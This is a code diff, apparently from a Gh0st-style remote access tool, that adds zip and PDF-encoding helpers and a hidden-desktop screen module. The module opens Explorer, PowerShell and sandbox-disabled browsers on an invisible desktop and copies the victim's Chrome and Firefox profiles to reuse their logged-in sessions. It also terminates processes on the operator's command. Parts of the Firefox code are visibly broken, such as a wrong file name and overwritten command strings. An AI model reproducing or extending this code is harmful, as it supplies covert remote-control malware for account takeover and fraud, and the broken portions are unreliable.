+#pragma once
+
+#include <string>
+
+namespace SimplePluginsFile {
+
+class MasterEncoder
+{
+public:
+    MasterEncoder();
+    ~MasterEncoder();
+
+    void setSignAndKey(char* sign, int signLen, unsigned char key);
+
+    void decode(unsigned char* data, long size);
+    void encode(unsigned char* data, long size);
+
+    void writePDF(const std::string& filePath, unsigned char* data, long size);
+    unsigned char* readPDF(const std::string& filepath, long& size);
+
+public:
+    void encodePDF(const std::string& pdfPath, const std::string& savePath);
+    void decodePDF(const std::string& pdfPath, const std::string& savePath);
+    unsigned char* decode(const std::string& pdfPath, long& size);
+
+private:
+    unsigned char _codeKey;
+    char* _sign;
+    int _signLen;
+};
+
+}

client/file/zip.h

@@ -0,0 +1,207 @@
+//
+//http://www.codeproject.com/KB/files/zip_utils.aspx
+//
+
+#ifndef _zip_H
+#define _zip_H
+
+
+// ZIP functions -- for creating zip files
+// This file is a repackaged form of the Info-Zip source code available
+// at www.info-zip.org. The original copyright notice may be found in
+// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
+// extend its use in Windows/C++. Also to add encryption and unicode.
+
+
+#ifndef _unzip_H
+DECLARE_HANDLE(HZIP);
+#endif
+// An HZIP identifies a zip file that is being created
+
+typedef DWORD ZRESULT;
+// return codes from any of the zip functions. Listed later.
+
+
+
+HZIP CreateZip(const TCHAR* fn, const char* password);
+HZIP CreateZip(void* buf, unsigned int len, const char* password);
+HZIP CreateZipHandle(HANDLE h, const char* password);
+// CreateZip - call this to start the creation of a zip file.
+// As the zip is being created, it will be stored somewhere:
+// to a pipe:              CreateZipHandle(hpipe_write);
+// in a file (by handle):  CreateZipHandle(hfile);
+// in a file (by name):    CreateZip("c:\\test.zip");
+// in memory:              CreateZip(buf, len);
+// or in pagefile memory:  CreateZip(0, len);
+// The final case stores it in memory backed by the system paging file,
+// where the zip may not exceed len bytes. This is a bit friendlier than
+// allocating memory with new[]: it won't lead to fragmentation, and the
+// memory won't be touched unless needed. That means you can give very
+// large estimates of the maximum-size without too much worry.
+// As for the password, it lets you encrypt every file in the archive.
+// (This api doesn't support per-file encryption.)
+// Note: because pipes don't allow random access, the structure of a zipfile
+// created into a pipe is slightly different from that created into a file
+// or memory. In particular, the compressed-size of the item cannot be
+// stored in the zipfile until after the item itself. (Also, for an item added
+// itself via a pipe, the uncompressed-size might not either be known until
+// after.) This is not normally a problem. But if you try to unzip via a pipe
+// as well, then the unzipper will not know these things about the item until
+// after it has been unzipped. Therefore: for unzippers which don't just write
+// each item to disk or to a pipe, but instead pre-allocate memory space into
+// which to unzip them, then either you have to create the zip not to a pipe,
+// or you have to add items not from a pipe, or at least when adding items
+// from a pipe you have to specify the length.
+// Note: for windows-ce, you cannot close the handle until after CloseZip.
+// but for real windows, the zip makes its own copy of your handle, so you
+// can close yours anytime.
+
+
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
+ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
+// ZipAdd - call this for each file to be added to the zip.
+// dstzn is the name that the file will be stored as in the zip file.
+// The file to be added to the zip can come
+// from a pipe:  ZipAddHandle(hz,"file.dat", hpipe_read);
+// from a file:  ZipAddHandle(hz,"file.dat", hfile);
+// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
+// from memory:  ZipAdd(hz,"subdir\\file.dat", buf,len);
+// (folder):     ZipAddFolder(hz,"subdir");
+// Note: if adding an item from a pipe, and if also creating the zip file itself
+// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
+// function. This will let the zipfile store the item's size ahead of the
+// compressed item itself, which in turn makes it easier when unzipping the
+// zipfile from a pipe.
+
+ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
+// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
+// then this function will return information about that memory block.
+// buf will receive a pointer to its start, and len its length.
+// Note: you can't add any more after calling this.
+
+ZRESULT CloseZip(HZIP hz);
+// CloseZip - the zip handle must be closed with this function.
+
+unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
+// FormatZipMessage - given an error code, formats it as a string.
+// It returns the length of the error message. If buf/len points
+// to a real buffer, then it also writes as much as possible into there.
+
+
+
+// These are the result codes:
+#define ZR_OK         0x00000000     // nb. the pseudo-code zr-recent is never returned,
+#define ZR_RECENT     0x00000001     // but can be passed to FormatZipMessage.
+// The following come from general system stuff (e.g. files not openable)
+#define ZR_GENMASK    0x0000FF00
+#define ZR_NODUPH     0x00000100     // couldn't duplicate the handle
+#define ZR_NOFILE     0x00000200     // couldn't create/open the file
+#define ZR_NOALLOC    0x00000300     // failed to allocate some resource
+#define ZR_WRITE      0x00000400     // a general error writing to the file
+#define ZR_NOTFOUND   0x00000500     // couldn't find that file in the zip
+#define ZR_MORE       0x00000600     // there's still more data to be unzipped
+#define ZR_CORRUPT    0x00000700     // the zipfile is corrupt or not a zipfile
+#define ZR_READ       0x00000800     // a general error reading the file
+// The following come from mistakes on the part of the caller
+#define ZR_CALLERMASK 0x00FF0000
+#define ZR_ARGS       0x00010000     // general mistake with the arguments
+#define ZR_NOTMMAP    0x00020000     // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
+#define ZR_MEMSIZE    0x00030000     // the memory size is too small
+#define ZR_FAILED     0x00040000     // the thing was already failed when you called this function
+#define ZR_ENDED      0x00050000     // the zip creation has already been closed
+#define ZR_MISSIZE    0x00060000     // the indicated input file size turned out mistaken
+#define ZR_PARTIALUNZ 0x00070000     // the file had already been partially unzipped
+#define ZR_ZMODE      0x00080000     // tried to mix creating/opening a zip 
+// The following come from bugs within the zip library itself
+#define ZR_BUGMASK    0xFF000000
+#define ZR_NOTINITED  0x01000000     // initialisation didn't work
+#define ZR_SEEK       0x02000000     // trying to seek in an unseekable file
+#define ZR_NOCHANGE   0x04000000     // changed its mind on storage, but not allowed
+#define ZR_FLATE      0x05000000     // an internal error in the de/inflation code
+
+
+
+
+
+
+// e.g.
+//
+// (1) Traditional use, creating a zipfile from existing files
+//     HZIP hz = CreateZip("c:\\simple1.zip",0);
+//     ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
+//     ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
+//     CloseZip(hz);
+//
+// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
+//     HZIP hz = CreateZip(0,100000, 0);
+//     // adding a conventional file...
+//     ZipAdd(hz,"src1.txt",  "c:\\src1.txt");
+//     // adding something from memory...
+//     char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
+//     ZipAdd(hz,"file.dat",  buf,1000);
+//     // adding something from a pipe...
+//     HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
+//     HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
+//     ZipAdd(hz,"unz3.dat",  hread,1000);  // the '1000' is optional.
+//     WaitForSingleObject(hthread,INFINITE);
+//     CloseHandle(hthread); CloseHandle(hread);
+//     ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
+//                   { HANDLE hwrite = (HANDLE)dat;
+//                     char buf[1000]={17};
+//                     DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
+//                     CloseHandle(hwrite);
+//                     return 0;
+//                   }
+//     // and now that the zip is created, let's do something with it:
+//     void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
+//     HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
+//     DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
+//     CloseHandle(hfz);
+//     CloseZip(hz);
+//
+// (3) Handle use, for file handles and pipes
+//     HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
+//     HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
+//     HZIP hz = CreateZipHandle(hzwrite,0);
+//     // ... add to it
+//     CloseZip(hz);
+//     CloseHandle(hzwrite);
+//     WaitForSingleObject(hthread,INFINITE);
+//     CloseHandle(hthread);
+//     ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
+//                   { HANDLE hread = (HANDLE)dat;
+//                     char buf[1000];
+//                     while (true)
+//                     { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
+//                       // ... and do something with this zip data we're receiving
+//                       if (red==0) break;
+//                     }
+//                     CloseHandle(hread);
+//                     return 0;
+//                   }
+
+
+
+// Now we indulge in a little skullduggery so that the code works whether
+// the user has included just zip or both zip and unzip.
+// Idea: if header files for both zip and unzip are present, then presumably
+// the cpp files for zip and unzip are both present, so we will call
+// one or the other of them based on a dynamic choice. If the header file
+// for only one is present, then we will bind to that particular one.
+ZRESULT CloseZipZ(HZIP hz);
+unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
+bool IsZipHandleZ(HZIP hz);
+#ifdef _unzip_H
+#undef CloseZip
+#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
+#else
+#define CloseZip CloseZipZ
+#define FormatZipMessage FormatZipMessageZ
+#endif
+
+
+
+#endif

client/ghost_vs2015.vcxproj

@@ -194,6 +194,13 @@
     <ClCompile Include="ClientDll.cpp" />
     <ClCompile Include="Common.cpp" />
     <ClCompile Include="FileManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp">
+      <ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
+    </ClCompile>
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
     <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
@@ -214,6 +221,7 @@
     <ClCompile Include="ScreenPreview.cpp" />
     <ClCompile Include="ScreenSpy.cpp" />
     <ClCompile Include="ServicesManager.cpp" />
+    <ClCompile Include="ConnectionsManager.cpp" />
     <ClCompile Include="ServiceWrapper.c" />
     <ClCompile Include="session.cpp" />
     <ClCompile Include="SessionMonitor.c" />
@@ -225,6 +233,8 @@
     <ClCompile Include="CFFmpegH264Encoder.cpp" />
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
+    <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
@@ -247,6 +257,13 @@
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="domain_pool.h" />
     <ClInclude Include="FileManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="IOCPClient.h" />
     <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
@@ -269,6 +286,7 @@
     <ClInclude Include="ScreenPreview.h" />
     <ClInclude Include="ScreenSpy.h" />
     <ClInclude Include="ServicesManager.h" />
+    <ClInclude Include="ConnectionsManager.h" />
     <ClInclude Include="ServiceWrapper.h" />
     <ClInclude Include="session.h" />
     <ClInclude Include="SessionMonitor.h" />
@@ -281,6 +299,9 @@
     <ClInclude Include="SystemManager.h" />
     <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="TalkManager.h" />
+    <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />
     <ClInclude Include="X264Encoder.h" />

client/resource.h

@@ -9,14 +9,19 @@
 #define IDI_ICON2                       105
 #define IDI_ICON_MSG                    105
 #define IDC_EDIT_MESSAGE                1000
+#define IDD_CHAT                        106
+#define IDC_EDIT_CHATLOG                1001
+#define IDC_EDIT_NEWMSG                 1002
+#define IDC_BUTTON_SEND                 1003
+#define IDC_BUTTON_END                  1004
 
 // Next default values for new objects
 //
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        106
+#define _APS_NEXT_RESOURCE_VALUE        107
 #define _APS_NEXT_COMMAND_VALUE         40001
-#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_CONTROL_VALUE         1005
 #define _APS_NEXT_SYMED_VALUE           101
 #endif
 #endif

client/screenhide/ScreenHideManager.cpp

@@ -0,0 +1,615 @@
+// ScreenManagers.cpp: implementation of the CScreenHideManager class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "StdAfx.h"
+#include <Windowsx.h>
+#include "ScreenHideManager.h"
+#include <WinUser.h>
+#include <string>
+#include <Shlwapi.h>
+#include <ShlObj.h>
+#include <Tlhelp32.h>
+#include <shellapi.h>
+#include <winioctl.h>
+#include <Wtsapi32.h>
+#include <set>
+#include <vector>
+
+
+#pragma comment (lib, "Shlwapi.lib")
+
+namespace SimplePluginsScreenHide {
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+// 检查指定桌面（hDesk）中是否存在目标进程（targetExeName）
+BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
+	// 切换到目标桌面
+	if (!SetThreadDesktop(hDesk)) {
+		return FALSE;
+	}
+
+	// 枚举目标桌面的所有窗口
+	BOOL bFound = FALSE;
+    std::pair<const char*, BOOL*> data(targetExeName, &bFound);
+	EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
+		auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
+
+		DWORD dwProcessId;
+		GetWindowThreadProcessId(hWnd, &dwProcessId);
+
+		// 获取进程名
+		HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
+		if (hProcess) {
+			char exePath[MAX_PATH];
+			DWORD size = MAX_PATH;
+			if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
+				if (_stricmp(exePath, pData->first) == 0) {
+					*(pData->second) = TRUE;
+					return FALSE; // 终止枚举
+				}
+			}
+			CloseHandle(hProcess);
+		}
+		return TRUE; // 继续枚举
+		}, reinterpret_cast<LPARAM>(&data));
+
+	return bFound;
+}
+
+// 获取指定桌面下的所有进程ID
+std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
+	std::set<DWORD> pidSet;
+	HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+
+	if (SetThreadDesktop(hDesk)) {
+		EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
+			auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
+
+			// 跳过不可见窗口和子窗口
+			if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
+				DWORD pid = 0;
+				GetWindowThreadProcessId(hWnd, &pid);
+				if (pid != 0) pids.insert(pid);
+			}
+			return TRUE;
+			}, reinterpret_cast<LPARAM>(&pidSet));
+		SetThreadDesktop(hOriginalDesk);
+	}
+
+	return std::vector<DWORD>(pidSet.begin(), pidSet.end());
+}
+
+bool IsSystemProcess(DWORD pid) {
+	HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+	if (!hProcess) return true;
+
+	char exeName[MAX_PATH];
+	DWORD size = MAX_PATH;
+	bool isSystem = false;
+
+	if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
+		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+		GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+		strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+        isSystem = (_stricmp(exeName, szExplorerFile)==0);
+	}
+	CloseHandle(hProcess);
+	return isSystem;
+}
+
+void SafeTerminateDesktopProcesses(HDESK hDesk) {
+	// 检查桌面句柄有效性
+	if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
+
+	// 获取当前桌面（用于恢复）
+	HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+	if (!hOriginalDesk) {
+		Mprintf("Failed to get original desktop\n");
+		return;
+	}
+
+	// 切换桌面
+	if (!SetThreadDesktop(hDesk)) {
+		Mprintf("SetThreadDesktop failed\n");
+		return;
+	}
+
+	// 枚举进程
+	auto pids = GetProcessIdsInDesktop(hDesk);
+	SetThreadDesktop(hOriginalDesk); // 立即恢复
+
+	// 终止进程
+	for (DWORD pid : pids) {
+		if (pid == GetCurrentProcessId()) continue; // 跳过自己
+
+		HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+		if (!hProcess) {
+			Mprintf("OpenProcess failed for PID: %d\n", pid);
+			continue;
+		}
+
+		// 检查是否为系统进程
+		if (IsSystemProcess(pid)) {
+			CloseHandle(hProcess);
+			continue;
+		}
+
+		// 终止进程
+		if (!TerminateProcess(hProcess, 0)) {
+			Mprintf("TerminateProcess failed for PID: %d\n", pid);
+		}
+		CloseHandle(hProcess);
+	}
+}
+
+void CopyDir(TCHAR* from, TCHAR* to)
+{
+    TCHAR fromWildCard[MAX_PATH] = { 0 };
+    lstrcpy(fromWildCard, from);
+    lstrcat(fromWildCard, _T("\\*"));
+
+    if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
+        return;
+    WIN32_FIND_DATA findData;
+    HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
+    if (hFindFile == INVALID_HANDLE_VALUE)
+        return;
+
+    do {
+        TCHAR currFileFrom[MAX_PATH] = { 0 };
+        lstrcpy(currFileFrom, from);
+        lstrcat(currFileFrom, _T("\\"));
+        lstrcat(currFileFrom, findData.cFileName);
+
+        TCHAR currFileTo[MAX_PATH] = { 0 };
+        lstrcpy(currFileTo, to);
+        lstrcat(currFileTo, _T("\\"));
+        lstrcat(currFileTo, findData.cFileName);
+
+        if
+        (
+            findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
+            strcmp(findData.cFileName, _T(".")) &&
+            strcmp(findData.cFileName, _T(".."))
+        ) {
+            if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
+                CopyDir(currFileFrom, currFileTo);
+        } else
+            CopyFile(currFileFrom, currFileTo, FALSE);
+    } while (FindNextFile(hFindFile, &findData));
+}
+
+void killproc(const TCHAR* name)
+{
+    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
+    PROCESSENTRY32 pEntry;
+    pEntry.dwSize = sizeof(pEntry);
+    BOOL hRes = Process32First(hSnapShot, &pEntry);
+    while (hRes) {
+        if (strcmp(pEntry.szExeFile, name) == 0) {
+            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
+                                          (DWORD)pEntry.th32ProcessID);
+            if (hProcess != NULL) {
+                TerminateProcess(hProcess, 9);
+                CloseHandle(hProcess);
+            }
+        }
+        hRes = Process32Next(hSnapShot, &pEntry);
+    }
+    CloseHandle(hSnapShot);
+}
+
+CScreenHideManager::CScreenHideManager(ISocketBase* pClient,  int nBitDepth, void* user) :
+   CScreenManagerBase(pClient, nBitDepth, user)
+{
+    m_DlgToken = TOKEN_BITMAPINFO_HIDE;
+}
+
+CScreenHideManager::~CScreenHideManager()
+{
+}
+
+VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
+{
+    if (lpBuffer[0] == TOKEN_HEARTBEAT)
+        return;
+
+    switch (lpBuffer[0]) {
+    case COMMAND_FLUSH_HIDE:
+        ResetScreen(32);
+        break;
+    case COMMAND_SCREEN_CONTROL:
+        ProcessCommand(lpBuffer + 1, nSize - 1);
+        break;
+    case COMMAND_NEXT:
+        NotifyDialogIsOpen();
+        break;
+    case COMMAND_SCREEN_GET_CLIPBOARD:
+        SendClientClipboard();
+        break;
+    case COMMAND_SCREEN_SET_CLIPBOARD:
+        UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
+        break;
+    case COMMAND_SCREEN_SETSCREEN_HIDE: 
+        Loop_Screen();
+        break;
+    case COMMAND_COMMAND_SCREENUALITY60_HIDE:
+        m_ScreenSpyObject->SendQuality(60);
+        break;
+    case COMMAND_COMMAND_SCREENUALITY85_HIDE:
+        m_ScreenSpyObject->SendQuality(85);
+        break;
+    case COMMAND_COMMAND_SCREENUALITY100_HIDE:
+        m_ScreenSpyObject->SendQuality(100);
+        break;
+    case COMMAND_HIDE_USER: {
+        return OnUserCommand(lpBuffer, nSize);
+    }
+    break;
+    case COMMAND_HIDE_CLEAR:
+        SafeTerminateDesktopProcesses(g_hDesk);
+        break;
+    default:
+        Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
+        break;
+    }
+}
+
+void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
+    char* deskName = (char*)m_DesktopID.c_str();
+    switch (lpBuffer[1]) {
+    case IDM_OPEN_Explorer: {
+        const DWORD neverCombine = 2;
+        const TCHAR* valueName = _T("TaskbarGlomLevel");
+
+        HKEY hKey;
+        RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
+        DWORD value;
+        DWORD size = sizeof(DWORD);
+        DWORD type = REG_DWORD;
+        RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
+
+        if (value != neverCombine)
+            RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
+
+        TCHAR explorerPath[MAX_PATH] = { 0 };
+        GetWindowsDirectory(explorerPath, MAX_PATH);
+        lstrcat(explorerPath, _T("\\"));
+        lstrcat(explorerPath, _T("explorer.exe"));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+
+        APPBARDATA appbarData;
+        appbarData.cbSize = sizeof(appbarData);
+        for (int i = 0; i < 5; ++i) {
+            Sleep(1000);
+            appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
+            if (appbarData.hWnd)
+                break;
+        }
+
+        appbarData.lParam = ABS_ALWAYSONTOP;
+        SHAppBarMessage(ABM_SETSTATE, &appbarData);
+
+        RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
+        RegCloseKey(hKey);
+        break;
+    }
+    case IDM_OPEN_run: {
+        TCHAR rundllPath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
+        lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Powershell: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Chrome: {
+        TCHAR chromePath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+        lstrcat(chromePath, _T("\\Google\\Chrome\\"));
+
+        TCHAR dataPath[MAX_PATH] = { 0 };
+        lstrcat(dataPath, chromePath);
+        lstrcat(dataPath, _T("User Data\\"));
+
+        TCHAR botId[35] = { 0 };
+        TCHAR newDataPath[MAX_PATH] = { 0 };
+        lstrcat(newDataPath, chromePath);
+        lstrcat(newDataPath, deskName);
+
+        CopyDir(dataPath, newDataPath);
+
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("chrome.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11  --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
+        lstrcat(path, _T("\""));
+        lstrcat(path, newDataPath);
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Edge: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("msedge.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Brave: {
+        killproc(_T("brave.exe"));
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcat(path, _T("cmd.exe /c start "));
+        lstrcat(path, _T("brave.exe"));
+        lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Firefox: {
+        TCHAR firefoxPath[MAX_PATH] = { 0 };
+        SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
+        lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
+
+        TCHAR profilesIniPath[MAX_PATH] = { 0 };
+        lstrcat(profilesIniPath, firefoxPath);
+        lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
+
+        HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+        if (hProfilesIni == INVALID_HANDLE_VALUE)
+            return;
+
+        DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
+        DWORD read;
+        TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
+        ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
+        profilesIniContent[profilesIniSize] = 0;
+
+        TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
+        if (!isRelativeRead) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+
+        isRelativeRead += 11;
+        BOOL isRelative = (*isRelativeRead == _T('1'));
+
+        TCHAR* path = StrStr(profilesIniContent, _T("Path="));
+        if (!path) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+        TCHAR* pathEnd = StrStr(path, _T("\r"));
+        if (!pathEnd) {
+            CloseHandle(hProfilesIni);
+            SAFE_DELETE(profilesIniContent);
+            return;
+        }
+        *pathEnd = 0;
+        path += 5;
+
+        TCHAR realPath[MAX_PATH] = { 0 };
+        if (isRelative)
+            lstrcpy(realPath, firefoxPath);
+        lstrcat(realPath, path);
+
+        TCHAR newPath[MAX_PATH];
+        lstrcpy(newPath, firefoxPath);
+        lstrcpy(newPath, deskName);
+
+        CopyDir(realPath, newPath);
+
+        TCHAR browserPath[MAX_PATH] = { 0 };
+        lstrcpy(browserPath, _T("cmd.exe /c start "));
+        lstrcpy(browserPath, _T("firefox.exe"));
+        lstrcpy(browserPath, _T(" -no-remote -profile "));
+        lstrcpy(browserPath, _T("\""));
+        lstrcpy(browserPath, newPath);
+        lstrcpy(browserPath, _T("\""));
+
+        STARTUPINFO startupInfo = { 0 };
+        startupInfo.cb = sizeof(startupInfo);
+        startupInfo.lpDesktop = deskName;
+        PROCESS_INFORMATION processInfo = { 0 };
+        CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+        break;
+    }
+    case IDM_OPEN_Iexplore: {
+        TCHAR path[MAX_PATH] = { 0 };
+        lstrcpy(path, _T("cmd.exe /c start "));
